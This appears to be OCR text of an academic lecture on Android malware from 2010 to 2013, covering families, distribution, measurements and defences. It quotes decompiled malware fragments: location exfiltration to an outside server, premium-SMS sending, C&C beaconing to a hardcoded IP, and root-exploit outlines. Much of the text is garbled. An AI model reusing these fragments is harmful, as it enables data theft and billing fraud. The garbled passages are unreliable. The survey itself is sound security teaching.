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1,260 Samples Analyzed (2012)

Manual analysis of samples by Yajin Zhou & Xuxian Jiang
36.7% leverage root-level exploits
90% turn devices into bots
45.3% dial/text premium numbers in background
51.1% harvest user information

Other goods

encrypted root-level exploit or obfuscated C&C
address

dvnhamic remote undates



Attackers Goals

Steal Sensitive Data
Intercept texts or
steal passwords

Turn Devices Into Bots
perform malicious
gain root privileges

Direct Financial Gain

call or text premium n'rs"
steal online banking creaeritials




ZitMo & spitMo (2011) [

e Companion of the famous ZeuS and
SpyEye trojans.

e Steal the mTAN or SMS used for 2-factor
authentication.



The attack scheme (1)
/ﬁ www.yourbank.com

username: user
’ password. ************
. **¥**¥¥
S ¥
INFECTED %e«\’é‘(;@ iy
COMPUTER NP



http://www.yourbank.com
http://www.yourbank.com

2-factors authentication (password + secret code) .

ONE TIME SECRET CODE | #*****#kkkk*

GO!




The attack scheme (2)

www.yourbank.com

>

i B
username. user -
2 pasSSWOrd; ****esseises IE I. IE aa
s ONE TIME SECRET CODE S 0
'y - ‘
INFECTED cok
COMPUTER

- &

OK
TYPE IN THE ONE TIME SECRET CODE > “

P EXPIRED



http://www.yourbank.com
http://www.yourbank.com

The attack scheme (2)

www.yourbank.com

'.> Bank
username. user .
’ password: ************ Fl. k ‘ a a
=2 | ;l £

INFECTED
COMPUTER

@ inject QR code



http://www.yourbank.com
http://www.yourbank.com

Luring Users with a QR Code

USERNAME

PASSWORD

SCAN
TO LOGIN

user

*kkkkkkkkkkk

e -
S

Login




The attack scheme (3) .

www.evil.org/fake-login-app.apk g I

=l
< l'l

835760


http://www.evil.org/fake-login-app.apk
http://www.evil.org/fake-login-app.apk

The attack scheme (4)

www.yourbank.com

i > Bank
username: user
2 PaSSWOrd: **wrsissires |E I. IE aa
ONE TIME SECRET CODE ST | ¢
| - |
INFECTED .
COMPUTER

INFECTED
SMARTPHONE

\ K
t TYPE IN THE ONE TIME SECRET CODE > u ©



http://www.yourbank.com
http://www.yourbank.com

The attack scheme (5)

FINANCIAL TRANSACTIONS sm’
> i
- $$$558$ |E|_||,E‘,a

a > 4 ALERT

THE MALWARE HIDES SMSs FROM THE BANK




Perkele 2013) [

e Sold for $1,000 on underground
markets/forums

e Development kit for bypassing 2-factor
authentication



Better than Perkele

Hand of Thief kit (Android port, late 2013) -
$950

tin:'"l 1 be<st wav to infect tiser<: nlace



CommonwealthBank /

Due to the newly introduced rules enhance security, you should install our special
bank certificate. Without the installation of the certificate you will not be able to use
online banking

Step one: select OS

and0ID

© &iPhone

"2 Black8erry.

://www.lacoon.com/hand-of-thief-hot-moves-its-wa


http://www.lacoon.com/hand-of-thief-hot-moves-its-way-to-android/
http://www.lacoon.com/hand-of-thief-hot-moves-its-way-to-android/

Retrospective of Predictions

140,000

120,000
100,000
. 80,000
5 60,000
40,000

20,000

\ -—l [ B !'
Q42011 012012 Q22012 Q32012

PREDICTIONS 900 3,000 11,000 38,000 129,000

AcTuAL 1,000 6,000 25,000 Source (Trend Micro, Q2

2012)

0



http://blog.trendmicro.com/trendlabs-security-intelligence/byod-a-leap-of-faith-for-enterprise-users/
http://blog.trendmicro.com/trendlabs-security-intelligence/byod-a-leap-of-faith-for-enterprise-users/
http://blog.trendmicro.com/trendlabs-security-intelligence/byod-a-leap-of-faith-for-enterprise-users/
http://blog.trendmicro.com/trendlabs-security-intelligence/byod-a-leap-of-faith-for-enterprise-users/
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http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/madware_and_malware_analysis.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/madware_and_malware_analysis.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/madware_and_malware_analysis.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/madware_and_malware_analysis.pdf

The Origin: TapSnake (2010)

3 (%) ‘ujmo 11:56

'Running services

Tap Snake

Process: net.maxicom.android.snake

- . :
® _  SnakeService Restarting
Started by application: touch to stop

Google Services Framework
Process: com.google.process.gapps

- Google Messaging Service

DRI

Other: 38MB in 3 Avail: 220MB+94MB in 12

PO 000000000999999999992200n




25 M @ 11:1¢

JCloghran =

St Margaret's

— — o

M50 J[ ’galdoyle
f ! f Santry 4 Industrial Est

Walterstown p i b
\ ~ r~ r ) Artane '
i ~ i V 4 Raheny '

’ Royal

~ amhill — ' R, i

< ' P Y SN, Canal Park G'“"e"’".:

allinstown = - &Efg ‘ : ., e " |

N 7 O F : y
3 A WA

S [~ 2\
n  Leixlip W N7

Whitehall

=
are
™~

Ubllﬂ
A
= \.
T
-

Kild
South D

|
t
2
3

o

T €

*/‘/@.@0 816 | -




<uses—permission android:name="android.permission ACCESS_COARSE_LOCATION" />
<uses—-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses—permission android:name="android.permission.INTERNET" />

public void onLocationChanged(Location location)
{
Message message = new Message();
message.obj = location;
handler.sendMessage(message);

s = (new StringBuilder(Strina.valueOf((new StrinaBuilder(Strina.valueOf((new StringBuilder(

httppost = new HttpPosti("http://gpsdatapoints.appspot.com/addPoint");
httppost.setEntity(new UrlEncodedFormEntity(URLEncodedUtils.parse(new URI(s), "UTF-8")));

(new DefaultHttpClient()).execute(httppost);




Malware Distribution

Google Play Store.
Alternative markets.

Underground affiliate programs (growing
business).



Alternative Markets (91)

Andapponline
SlideMe
AndroidPit
AppsZoom
ApkSuite

Opera App Store
Brothersoft
Camangi
Blackmart Alpha
F-Droid

Amazon
AndroLib

Getjar

Tablified Market
Fetch

Aptoide
Insydemarket
PandaApp
AppsEgg
AppTown
AppBrain
AppsLib
ESDN
Mobilism
Mob.org
Handango
Mikandi

Nexva market

Yet Another Android Market

Moborobo

Soc.io

Android Downloadz
MerkaMarket

Good Ereader
Mobile9

Phoload
Androidblip
1Mobile

Brophone

LG World

Samsung App Store
Handster

AppsFire

Mobango
AndroidTapp

92Apk
AppChina
CoolApk

Anzhi Market
EOE Market
HiApk

Nduoa

Baidu App Store
D.cn

Gfan

Millet App Store
Taobao
Tencent App Gem
Hyper Market
No Crappy Apps

T Store

Yandex App Store
Pdassi
iMedicalApps
Barnes & Noble
Nvidia TegraZone
AppCake
Handmark
Appolicious
Appitalism
WhiteApp
AppCity
AlternativeTo
Appzil

Naver NStore

Cisco Market
Lenovo App Store
Omnitel Apps

TIM Store

T-Store

T-Market

AT&T

CNET

Android games
room

91mobiles
mobiles24
Android Freeware
Mplaylt

Hami

Olleh Market

wandoujia



DroidDream (2011) - Host Apps -

Falling Down Chess

Super Guitar Solo Hilton Sex Sound
Super History Eraser  Screaming Sexy
Photo Editor Japanese Girls
Super Ringtone Falllng Ball Dodge
Maker Scientific Calculator

Super Sex Positions Dice Roller



DroidDream (2011) - Info Stealing .

Steals C&C

IMEI http://184.105.245.17:8080/GMServer/GMServlet
IMSI |

device mog&xploid root-level exploit.

SDK version
language
country

Copy of the original public exploit!




DroidDream (2011) - More Details .

Downloads 2nd payload. Encrypts C&C

messages.
Installs payload under
/system ZHash uses the same
exploit.

No icon nor installed
application is visible to
the user.



DroidDreamLight (2011)

= @ I
=~ net

Massive code
refactoring.

No root exploit.
Steal same data.
Recelves remote
updates.

Affected 30-120k

ImaLASogresFrend Micro)

#-[J] DomParse

#-[J) GetInfo

|J) GetTransactionObj
- [J] HttpHandler§1
#-[J] HttpHandler$2
#-J) HttpHandler$3

|J) HttpHandler

- [J] ResponseHandler
#--[J] Transaction
#-[J] TransactionService
J) WriteXmL

|J) AppManager

\J) AppUseService$1
|J) AppUseService$2$1
|J) AppUseService$2

\J) AppUseService$3
\J) AppUseService
|J) Constant

|J) DesPlus

\J) Receiver

[J] Tools

+

+

+

SRSSgstrategy |

=

=

SRR RS e

t#

constant
-] Constant

core
-|[J] ContactSmsHandler
-|J] RebirthReceiver
\J] SmsTask

net

-|J] DomParse

-|J] HttpHandler$1

-|J] HttpHandler$2

-4 HttpHandler$3

-|J] HttpHandler

-|J] ResponseHandler
|J] Transaction

+|J) TransactionService
-[J] Uploadrile

<[J] WriteXmL

service

-|J] AppManager

-|J] CelebrateService$1
-|J] CelebrateService$2$14$1
\J] CelebrateService$2$1



http://blog.trendmicro.com/trendlabs-security-intelligence/massive-code-change-for-new-droiddreamlight-variant/
http://blog.trendmicro.com/trendlabs-security-intelligence/massive-code-change-for-new-droiddreamlight-variant/

What the Malware!
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Source (Symantec, October 2013)



http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/madware_and_malware_analysis.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/madware_and_malware_analysis.pdf

life / shopping
life / entertainment
games / arcade
business / None
games / None
life / video

life / travel

life / None
games / action
utilities / None
games / puzzie
multimedia / wallpapers
lite / books

life / health & fitness
life / music
business / productivity
life / sports
muitimedia / media player
games / casino
multimedia / None
games / adventure
utilities / tools

lite / personalization
games / strategy
utilities / securlity

AndAppOnline

B maiware % B goodware %

0.72%

0.54%

0.74%

0.26%

12.78%
7.93%
7.93%

10.86%

7.93%
13.06%

14.83%

1.76%
1.76%
1.80%
1.76%
1.32%
1.17%
1.32%
1.52%
1.32%
1.32%
1.32%

1.32%

Y% (our measurement, Nov 2013)

0% 09%

18% 27% 36% 45% 54% 63% 72% 81% 9% 99% 108% 11.7% 126% 13.5% 14.4% 153% 16.2% 17.1% 18%



game / other-24
application / entertainment
application / tools-utilities
game / puzzie

application / music

game / casual

application / communications
application / lifestyle
game / arcade

application / education
application / publications
game / action

application / productivity
application / other
application / travel-locality
application / themes

application / health-fitness

W malware %

SlideMe

10% 125%

175% 20% 225% 25% 275% 30% 325% 35% 375% 40%

surement, Nov 2013)
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Plankton (2011) r D e

e Update only some

components. S|
e Silent update, no user el
participation. 8 -
® P ay|O ad h o St e d on P viersaging TR
Amazon.

e Inspired the AnserverBot
family.



ankton (2011)

S o,
get Nr/vjarln'nll rrtpora- |'I http-/ JProtocolGW/fileNamd=plankton_vD.0.4 jar;

Anu gettlng ]ar nfo

3 =raata,cata/com.crazyapps.favorite.games. backup/app pldknlund result=plankton_v0.0.4 jar
H doln&ukgmund(l jar location = /data/datafcom.crazyapps. favorite.games. ba, i
S I | e nt u pd ate My path is: /data/dataj/com.crazyapps.favorite.games.backup/app_plaknto
H H DexOpt: BEGIN "plankton_vD.0.4 jar’ (bootstrap=0)
(fl rSt fam"Y) GC freed 269 objects / 12880 bytes in 110ms
Process com.android.mms (pid 181) has dled.
DexOpt: load 184ms, verify 1993ms, opt 67ms
DexQpt: --- END “plankton_v0.0.4.jar’ (success) —--
DEX prep ‘/data/data/corn.crazyapps. favorite.games.backup /app_plakntond/ plankton_v0.0.4 jar". unzip in 213ms, rewrite 2947ms

aankton v0.0.4 jar, trying to load class

{plankton v0.0.4 jar

HOMEPAGE = mew Commands("HOMEPAGE®, 2, “Homepage™, “/homepage”);
COMMANDS STATUS = new Comnands{ "COMMANDS STATUS®, 3, “CommandsStatus®, "/commandstatus®);
BOKMARKS = new Comnands(*HOOKMARKS®, 4, ‘Hookmarks®, */bookmarks");
SHORTCUTS = new Commands{ *SHORTCUTS®, S5, ‘Shartcuts’, */shartcuts");
HISTORY = new Comands{*HISTORY®, &, ‘Histary®, “/history”);

. TERMINATE = new Commands|*TERMINATE®, 7, ‘Terminate®, */terminate”);

Command & ContrOI STATUS = mew Copmands(“STATUS®, 8, “Status™, “/status");

DUM_LOG = mew Commands("DUMP_LOG®, 9, “Dumpleg”, "/dumpleg”);
INEXPECTED EXCEPTION = mew Comvands("UNEXPECTED EXCEFTION", 18, "UnexpectedException®, “/unexpectedexception®);
WFGRADE = new Commands(*UPGRADE®, 11, “Upgrade”, “/installation");
INSTALLATION = mew Commands(“INSTALLATION®, 12, "Installation”, */installation*);
Comand<[] array0fComnands = new Commands[13];
Comands LocalComands]l « COMMANDS;

Image source (Sophos)


http://nakedsecurity.sophos.com/2011/06/14/plankton-malware-drifts-into-android-market/
http://nakedsecurity.sophos.com/2011/06/14/plankton-malware-drifts-into-android-market/

Countermeasures

e Google Play app vetting

e [nstall and permission confirmation

e SMS/call blacklisting and quota

e App verify (call home when apps are
installed - incl. 3rd party)

App sandboxing

SELinux in enforcing mode (Android 4.4)
e AV apps



Blacklist & SMS Limits S

apps that may cause harm

CREDENTIAL STORAGE

Storage type

CyanogenMod >=10.2

Trusted credentials
Display trusted CA certificates

Install from SD card

B | adC kl i St Num b ers Install certificates from SD card

APP SECURITY

50 SMS per 30 minute limit e e

personal data

Blacklist

Incoming calls and messages from phone
numbers in the blacklist will be blocked

SMS message limit

Apps can send 50 messages in 30 minutes
before requiring confirmation




App Sandboxing

| | |

User1 | User2 | User3 |
| | |

| | |

| | |

| | |

App1 I App2 I App3 l
Virtual I Virtual I Virtual I
machine l machine l machine l
| | |

Process1 I Process2 I Process3 I
i i i

i i i

PERMISSIONS

Linux kernel




Apps Must Declare Permissions

| |

User1 | User2 | User3 |
| | |

| | |

| | |

| Malicious I |

App I App l App3 I
Virtual : Virgual : Virtual :
machine I maghine I machine I
| | |

Process1 I ProlessZ I Process3 I
. i i

i i

I

PERMISSIONS

Linux kernel




Permission Declaration

<uses-permission ="androlid.permission.RECEIVE_BOOT_COMPLETED" />
<uses—-permission ="android.permission.READ_LOGS" />
<uses—-permission ="android.permission.WAKE_LOCK" />
<uses-permission ="androlid.permission.READ_PHONE_STATE" />
<uses-permission ="android.permission.PROCESS_OUTGOING_CALLS" />
<uses—permission ="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission ="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses—-permission ="android.permission.ACCESS_WIFI_ STATE" />
<uses—permission ="androlid.permission.CHANGE_WIFI STATE" />
<uses-permission ="androlid.permission.ACCESS_NETWORK_STATE" />
<uses—-permission ="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission ="android.permission.MODIFY_PHONE_STATE" />
<uses—permission ="android.permission.WRITE_SECURE_SETTINGS" />
<uses—permission ="android.permission.WRITE_SETTINGS" />
<uses—-permission ="android.permission.INTERNET" />
<uses—-permission ="android.permission.BLUETOOTH" />




AW

Selective Permissions [P

Introduced in 4.3. g Locaion

INever used)

.m, Read contacts
0 November

Users can selectively filter perm

Post notification
g 10 November

Call phone

That's great!

%+ Modify settings
—¥%  (Never used)

Keep awake
5 paws

INever used)

— o



oved itin 4.4




Perms:

iVialware

Goodware

0

200

400 600 800 1000 1200

INTERNET
READ_PHONE_STATE
ACCESS_NETWORK_STATE
WRITE_EXTERNAL_STORAGE
ACCESS_WIFI_STATE

READ_SM9

RECEIVE_BOOT_COMPLETED

SEND_SMS

VIBRATE
ACCESS_COARSE_LOCATION
READ_CONTACTS
ACCESS_FINE_LOCATION
WAKE_LOCK
CALL_PHONE
CHANGE_WIFI_STATE
WRITE_CONTACTS
WRITE_APN_SETTINGS
RESTART PACKAGES

Source: Y. Zhou and X. Jiang,

1232
1179
1023
847
804
790
688
658
553
499
483
480
457

432

424
398
374
349
333

Vs.

0 200 400 600 800 1000 1200

INTERNET 1122

ACCESS_NETWORK_STATE 913
WRITE_EXTERNAL_STORAGE 488
READ_PHONE_STATE 433
VIBRATE
ACCESS_FINE_LOCATION
ACCESS_COARSE_LOCATION
WAKE_LOCK
RECEIVE_BOOT_COMPLETED
ACCESS WIFI STATE
CALL_PHONE

CAMERA

READ_CONTACTS|
GET_TASKS

GET_ACCOUNTS
SET_WALLPAPER

SEND_SMS
WRITE_SETTINGS
CHANGE_WIFI_STATE|

RESTART_PACKAGESH33 N

“Dissecting Android Malware: Characterization and Evolution,” in Proceedings of the 33rd IEEE Symposium

on Security and Privacy, 2012, pp. 95-109.



No primitives for process auditing

| | |

User1 I User2 I User3 I
| | I

| - | I

Malicious ANTIVIRUS
App1 I App I APP M|
Virtual | I o1
machine | ~ | |
Process | | I
i ] |
I . . ) PERMISSIONS |
1 1 1
) - Linux kernel

SD card




Workarounds (back in the '80s)

Signature-based matching (evaded by
repackaging).

Scan (limited) portion of the storage.

Send sample to cloud service (malware can
sniff network).

Custom kernel (not market proof).

ReqAiliire ront nrivilecec< (increa<e< attack



TGLoader (2012) - Root 'n text

<manifest android:versionCode="1" android:versionName="1.0" package="android.dds.com"
xmlns:android="http://schemas.android.com/apk/res/android">
<application android:label="@string/app_name" android:icon="@drawable/icon">
<activity android:label="@string/app_name" android:name=".Main" android:scree
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>

No permissions.

<service android:name=".service.PlaverBindService" />
<service android:name:='"com.gamebox.service.GameUpdateService" />

Root the phone. Ht "

o
1]
0

204 googlemessage

Loads 3 maliCiou s

204 aooaleservice

® 0O

13237 googleservice.apk

. . Dec
102452 Dec initr
Prem ium texn ng' 5828 Dec keeper Exploid root exploit
98080 Dec start
. : 47528 De
C&C communicatiOmssgess tock
Dec

10139

®

unlock.apk



Asroot 2011) TS

Simple, standalone app.
Uses asroot root exploit.
Not really widespread.




Malware Apps on Google Play

2010 (2)
TapSnake, SMSReplicator
2011 (13)

DroidDream, zHash, DroidDreamLight,
/sone, Plankton

YZHC, SndApps, Zitmo, Asroot, Gone60,
DroidKungFu (2)

qn4ﬁ /IA IIANAAIA” L’AA PAA”IA nAlllAﬁAl’\




App Verify

100/095%

of devices have

sandboxes and
of devices have m OSt

permissions
Verify Apps
/ devices only insta
from trusted sourges

<0.13%

of apps from unknown / &
sources are installed <0.001%
et of installed apps
attempt to evade
runtime defenses

of app installs from
unknown sources
receive a warning

<7%

cause harm and evade

|
Source: A. Ludwig, E. Davis, and J. Larimer, “Android - Practical Security From the Ground Up,” in Virus

Bulletin Conference, 2013.



Countermeasures and Downsides

Google Play app vetting|gSWaxl o] g gt=[e (N1

Permission through it
confirmation Unaware users

S|\ ST e Rel Ele <= ldViust know the numbers
9 Must know the malware

Root exploits + ask
p sandboxing permissions

P T N T




Application Signing

e No PKI
o Apps signed with self-signed certs
o Applntegrity proposes a lightweight,
neat solution
e Signature not checked at runtime

o Can add new code at runtime and break the
signature

e MasterKey vulnerability (CVE-2013-4787,

1. .1 DON1 DO\


https://www.cylab.cmu.edu/files/pdfs/tech_reports/CMUCyLab11012.pdf
http://nakedsecurity.sophos.com/2013/08/09/android-master-key-vulnerability-more-malware-found-exploiting-code-verification-bypass/
http://nakedsecurity.sophos.com/2013/08/09/android-master-key-vulnerability-more-malware-found-exploiting-code-verification-bypass/
http://nakedsecurity.sophos.com/2013/08/09/android-master-key-vulnerability-more-malware-found-exploiting-code-verification-bypass/
http://nakedsecurity.sophos.com/2013/08/09/android-master-key-vulnerability-more-malware-found-exploiting-code-verification-bypass/

Exploited by Adr/MstrKey-A

. Note that this malicious app thieves not just the
i Fashion —d uninfectious Fashion app's digital signature, but all its
a Version 1.1 other files, including its claimed identity, vendor and icon.

Scan result

@ Malicious object.
Threat Andr/MstrKey-A identified.

e ...as well as Skullkey
e Signed-unsigned integer values
vulnerability (Jul 2013)



http://contagiominidump.blogspot.it/2013/11/skullkey-android-infostealer.html
http://nakedsecurity.sophos.com/2013/07/17/anatomy-of-another-android-hole-chinese-researchers-claim-new-code-verification-bypass/
http://nakedsecurity.sophos.com/2013/07/17/anatomy-of-another-android-hole-chinese-researchers-claim-new-code-verification-bypass/
http://nakedsecurity.sophos.com/2013/07/17/anatomy-of-another-android-hole-chinese-researchers-claim-new-code-verification-bypass/
http://nakedsecurity.sophos.com/2013/07/17/anatomy-of-another-android-hole-chinese-researchers-claim-new-code-verification-bypass/
https://www.virustotal.com/en/file/65902b3dfbfc0d9b9bb2c22a7772614eacd5250eb633db2b59b635ed1196d993/analysis/

BaseBridge (2011)

Asset file hides the payload.
e Register to /ots of events.

e Gains root privileges via RATC exploit.

o spawn RLIMIT_NPROC-1 processes
o kill adbd
o spawn 1 process to race against adbd setuid()-ing

e Steals data (e.g., IMEI) + premium texts.



BaseBridge (2011)

com.android.battery

Do you want to install this
application?

New Version Found

Allow this application to:

RIPFARA

v Your messages
1HIAB B edit SMS or MMS, read SM

v Network communication

v Your personal information

Update In One Second Storage

Services that cost you money

i Install H Cancel i
5 An : lution,” in Proceedings of the 33rd IEEE Symposium

AN <arciiritvs and Privvacyy 2012 nn OE_100




Academic Measurements

2010-October 2011 [Zhou et al., 2012]
49 families
20-76% detection rate

October 2011 [Vidas et al., 2013]

194 markets facilitate malware
distribution

0-32% detection rate (I don't really buy

i PR\



Our Measurements

40 -

20

Fraction on malware on market

2—8% of the apps are
known malware
(Jun-Nov 2013)
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N = Number of positives AV detections (1 to 32)

Market

. opera
andapponline
camangi
slideme
fdroid

. blackmart

. getjar

. pandapp



Our Measurements

10-20% of the apps are
known adware
(Jun-Nov 2013)
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o
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Fraction on malware on market
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N = Number of positives AV detections (1 to 32)

Market
opera
andapponline
camangi
slideme
fdroid

blackmart
getjar

. pandapp



CarrierlQ (2011) - Not Really Malware .

140M devices including Sprint, HTC, Samsung.

Controversial app used for enhancing "customer
experience".

Log keystrokes.
Record calls.

Store text messages.
Track location.



Fake CarrierlQ Detector :

Detects CarrierlQ.
- I It actually finds 1Q if

Linux kernel interfaces

P is there.

e Premium texter
malware.

Détecteur de rootkit

Linux kernel drivers
weight: 50

System services
weight: 70

ROM binaries and daemons

http://www.symantec.com/connect/blogs/day-after-
vear-mobile-malware



http://www.symantec.com/connect/blogs/day-after-year-mobile-malware
http://www.symantec.com/connect/blogs/day-after-year-mobile-malware
http://www.symantec.com/connect/blogs/day-after-year-mobile-malware

Find if /1Q services are installed.

private void findDmesgStrings()

{
ArraylList localArraylist = Utils. findInCommandOutput("dmesg"”, new String[] { "iq.logging", "iq.service", "iq.cadet", "iq.bridge",
this. found.put(DetectTest. OMESG, localArraylist);

}

Tries to send premium SMSs (notice the
nested.try-catch).o.

try
{
local SmsManager .sendTextMessage("81168", null, "AT37", null, null);
try
{
labell5: localSmsManager.sendTextMessage("81168", null, "MC49", null, null);
try
{
label26: localSmsManager.sendTextMessage("81168", null, "SP99", null, null);
try
{

label37: localSmsManager.sendTextMessage("81168", null, "SP93", null, null);



RootSmart (2012) .

2nd malware w/ GingerBreak exploit (1st was
GingerMaster) TTY
Asks lots of permissions (suspiciou n_-

o MOUNT_UNMOUNT_FILESYSTEMS 5 e
O RECE'VE_BOOT_COMPLETED Volume control

o CHANGE_WIFI_STATE y BB
Suspicious broadcast receiver p e

o NEW_OUTGOING_CALL

Fetches the exploit from obfuscatet

CAanA c+Alarn AAa+a +A CQ C infractvi



Frlendly Marketplaces

1oxrew 1od siogne ¢ do.

SveTl SveTl SveTI SveT1 SPeTl
PR T T T T SR TR TN SO SR Y TN TN T TR S SR SN SO S SO Y S N |

Apps published
8

0
0s
~0ST

1Jueured | | quruoddepur

—
L |
= s-

Top 5 authors
publish both

goodware and
known malware.

(liin N~y ON1 Q)



No monetary g¢
Protest intendec
Yet, very annoyi

\S§
nttp://www.symantec.

com/connect/blogs/androidmoghava-recipe-mavhem


http://www.symantec.com/connect/blogs/androidmoghava-recipe-mayhem
http://www.symantec.com/connect/blogs/androidmoghava-recipe-mayhem
http://www.symantec.com/connect/blogs/androidmoghava-recipe-mayhem

More images

Ruhollah Khomeini

Ayatollah

Ruhollah Mostafavi Musavi Khomeini, known in the West as Ayatollah
Khomeini, was an Iranian religious leader and politician, and |leader of the
1979 Iranian Revolution which saw the overthrow of Mohammad Reza

Pahlavi, the Shah of Iran. wikipedia



LuckyCat (2012) - Used in APT -

1st known used in APT.

Track user GPS, steal data.
Naively encrypted C&C communic

http://www.trendmicro.com/cloud-content/us/pdfs/security-intellicence/white-papers/wp adding-android-and-mac-
o<x-malware-to-the-ant-toolbox ndf



http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_adding-android-and-mac-osx-malware-to-the-apt-toolbox.pdf
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_adding-android-and-mac-osx-malware-to-the-apt-toolbox.pdf
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_adding-android-and-mac-osx-malware-to-the-apt-toolbox.pdf

Chuli 2012) - Again, in ApT |

Ml ® 10:17em

High-profile Tibetan activist email hadi- I

Alarm Clock Browse

Used to send malicious APK to other ¢ /_: . *S #

Steals data (SMS, contacts, IMEI, GPS s

a letter on behalf of WUC,UNPO and STP.

bl @ 1 attachment: WUC’s Conference.apk 219 KE R Savel -I

"= | (G)o (S)ave (C)opy 4

https://www.securelist.com/en/blog/208194186/Android Trojan Found in Targeted Attack



https://www.securelist.com/en/blog/208194186/Android_Trojan_Found_in_Targeted_Attack
https://www.securelist.com/en/blog/208194186/Android_Trojan_Found_in_Targeted_Attack

public veid onCreate()

{

super.onCreate @7
this.hostname "http://64.78.161.133";
ComponentName 1 mponentName

try
{
this.nativenumber = getPackageManager () .getService
if (this.nativenumber.equals("phone™))
{
SharedPreferences localSharedPreferences = getSh
this.nativenumber = localSharedPreferences.getSt

if ("".equals(this.nativenumber))

IP Information for§64.78.161.133

IP Location: United States Los Angeles Emaagine Concept Inc.
ASN: AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. (registere

IP Address: 64.78.161.133 [r] [] [D]

Whois Server whois.arin.net

Reverse IP: 1 website uses this address. (examplell dimdocumentsexchange.com)

{

Date localDate = new Date();

Registration Service Provided By: SHANGHAI MEICHENG

this.zativemmber = [“phone” + localilate.getTise{)): TECHNOLOGY INFORMATION DEVELOPMENT CO., LTD.
localSharedPreferences.edit () .putString("native”, this.nativenumber).commit():

}

}
send.urlstr = (this.hostname +I"/android.php"):|
i seContext());:
this.nativenumber) ;

if (send.sendInfo("create”, this.nativenumber)ﬂ

{

Domain Name: DLMDOCUMENTSEXCHANGE .COM

Registration Date: 08-Mar-2013

Expiration Date: 08-Mar-2014

Status:LOCKED

The domain registration data indicates the following
owner:

IntentFilter locallntentFilter = new IntentFilter("com.gcogle.system.receiver™);

localIntentFilter.setPriority(2147483647);

registerReceiver (new sendReceiver(), locallntentFilter):;
send.urlstr = j(this.hostname + "/data/" + this.nativenumber + "/process.php”):

servicelnit()

Registrant Contact Details:

peng jia (bdoufwkel23010@gmail.com)

beijingshiahiidienquc.d
beijingshi
beijing,100000

CN

Tel. +86.01078456689
Fax. +86.01078456689



C% 64.78.161.133 - Remote Desktop Connection

B x| Windows

_

;7 Windows Server2003

¥ Enterprise Edition

Copyright © 1885-.2003 Microsoft Corporation

B | e | 0o «|




Obad (2013) - Sophisticated _

Raises the bar.

Could propagate via Bluetooth and WiFi.
First emulator-aware malware.
Anti dynamic analysis (corrupted XML)

Anti static analysis (packed instr. + anti
decompiling + encrypted strings)

Gains device administration rights to hides itself.



Corrupted XML ]t

——

=nqn
>
</uses-sdk>

<uses-permission

E android.permission.RECEIVE BOOT COMPLETED"
>

</uses-permission>

<uses-permission
PE—

'android.permission.READ_LOGS"

</uses-permission>
<uses-permission

PE—
'android.permission.WAKE_LOCK"

Accepted by
smartphones.

Makes sandboxes fail.

</uses-permission>
<uses-permission
'android.permission.READ_PHONE_STATE"

</uses-permission>
<uses-permission
'android.permission.PROCESS_OUTGOING_CALLS"

</uses-permission>
<uses-permission




Bogus Instructions

Targets specifically the dedexer
disassembler.

Prevents automatic repackaging of dex for
analvsis.

VFY: encountered data table in instruction stream
VFY:Jrejecting opcode 0x00 at 0x002a
VFY: rejected Lcom/android/system/admin/oCILCLL;.oCILCIL ([B)[B
Verifier rejected class Lcom/android/system/admin/oCIICLl;

http://joedmobile.blogspot.com/2013/06/analyzing-obada-aka-most-sophisticated.html



http://joe4mobile.blogspot.com/2013/06/analyzing-obada-aka-most-sophisticated.html
http://joe4mobile.blogspot.com/2013/06/analyzing-obada-aka-most-sophisticated.html

Anti Decompiling

LoNOOU A, WNR

ol
N RO

add-int/

ol
S W

:cond_©
int-to-byte v2, pil

=Y
W,

aput-byte v2, vi, v5

add-int/1it8 v5, v5, ox1

if-1t v5, p@, :cond_1

const/4 v2, 0x0

invoke-direct {v@, vi, v2}, Ljava/lang/String;-><init>([BI)V

return-object v@

:cond_1
move v2, pl

aget-byte v3, v4, p2

goto :goto_0
.end method




Device Admin Privs [t

) Additional textexplaining why this needs to be added

Activating this administrator will allow the app API Demos to perform the

following operations

Used to administer
devices.

® Eraseall data

Erase the tablet's data without warning, by performing a factory data reset

Change the screen-unlock password

Change the screen-unlock password

® Set password rules

Control the length and the characters allowed in screen-unlock passwords

Monitor screen-unlock attempts
Monitor the number of incorrect passwords entered when unlocking the
screen, and lock the tablet or erase all the tablet's data if too many incorrect

p isswords ar nlered

Lock the screen

Control how and when the screen locks

Set lock-screen password expiration

Control how frequently the lock-scree | password mu tbe char ged

® Set storage encryption

Require that stored a plhication data be encrypted

Disable cameras

r‘l event use of all device cameras



http://developer.android.com/guide/topics/admin/device-admin.html
http://developer.android.com/guide/topics/admin/device-admin.html
http://developer.android.com/guide/topics/admin/device-admin.html
http://www.comodo.com/resources/Android_OBAD_Tech_Reportv3.pdf
http://www.comodo.com/resources/Android_OBAD_Tech_Reportv3.pdf
http://www.comodo.com/resources/Android_OBAD_Tech_Reportv3.pdf

Baseline Features

Steal data.

Remote update.

Execute shell commands.

C&C communication (hardcoded...).



Mouabad (2013) - Sneaky Dialer -

Works when device goes to lock mode.

Stops working right away when the user

unlocks the device.

Calls premium numbers located in China.

No sophisticated anti-analysis techniques.



Stels (2013) - Spreads via Botnet -

Spreads through Cutwail botnet via spam
emails.

Vulnerable website to drop PHP script.
PHP script fingerprints the client.

Malicious (non-sophisticated) APK if browser
== Android.

Steals the usual data.

http://www.secureworks.com/cyber-threat-intelligcence/threats/stels-android-trojan-malware-analysis/



http://www.secureworks.com/cyber-threat-intelligence/threats/stels-android-trojan-malware-analysis/
http://www.secureworks.com/cyber-threat-intelligence/threats/stels-android-trojan-malware-analysis/

